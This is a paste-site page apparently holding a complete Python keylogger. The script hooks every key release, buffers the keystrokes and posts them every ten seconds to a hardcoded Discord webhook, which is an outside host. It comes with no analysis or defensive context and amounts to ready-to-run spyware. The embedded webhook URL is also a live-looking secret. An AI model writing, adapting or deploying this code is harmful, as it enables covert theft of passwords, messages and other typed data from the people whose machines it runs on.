Guest

222

Jan 18th, 2026
113
0
Never
Not a member of gistpad yet? Sign Up, it unlocks many cool features!
Python 5.61 KB | Cybersecurity | 0 0
  1. import keyboard
  2. import time
  3. import requests
  4. import threading
  5.  
  6. # Replace 'WEBHOOK_URL' with your actual Discord webhook URL
  7. WEBHOOK_URL = 'https://discord.com/api/webhooks/1462174263640588554/zNqkYJ-G0tzSclv3PdZCRha7Rw9QCZhp0XqBWzzIQHbRrdXuu0eYzHqnLKnhTUK-KzXk'
  8.  
  9. # Create a list to store the captured keystrokes
  10. keylogs = []
  11.  
  12. # Function to send keylogs to Discord via webhook
  13. def send_keylogs():
  14. global keylogs
  15.  
  16. # Check if there are any keylogs to send
  17. if keylogs:
  18. # Convert the keylogs to a string
  19. keylogs_str = '\n'.join(keylogs)
  20.  
  21. # Create the payload for the webhook
  22. payload = {
  23. 'content': keylogs_str
  24. }
  25.  
  26. # Send the payload to the Discord webhook
  27. requests.post(WEBHOOK_URL, data=payload)
  28.  
  29. # Clear the keylogs list
  30. keylogs = []
  31.  
  32. # Schedule the next execution of the function after 10 seconds
  33. threading.Timer(10, send_keylogs).start()
  34.  
  35. # Function to capture keystrokes
  36. def capture_keystrokes(event):
  37. global keylogs
  38.  
  39. # Append the captured keystroke to the keylogs list
  40. keylogs.append(event.name)
  41.  
  42. # Start capturing keystrokes
  43. keyboard.on_release(callback=capture_keystrokes)
  44.  
  45. # Start sending keylogs to Discord every 10 seconds
  46. send_keylogs()
  47.  
  48. # Keep the script running
  49. while True:
  50. time.sleep(1)
RAW Gist Data Copied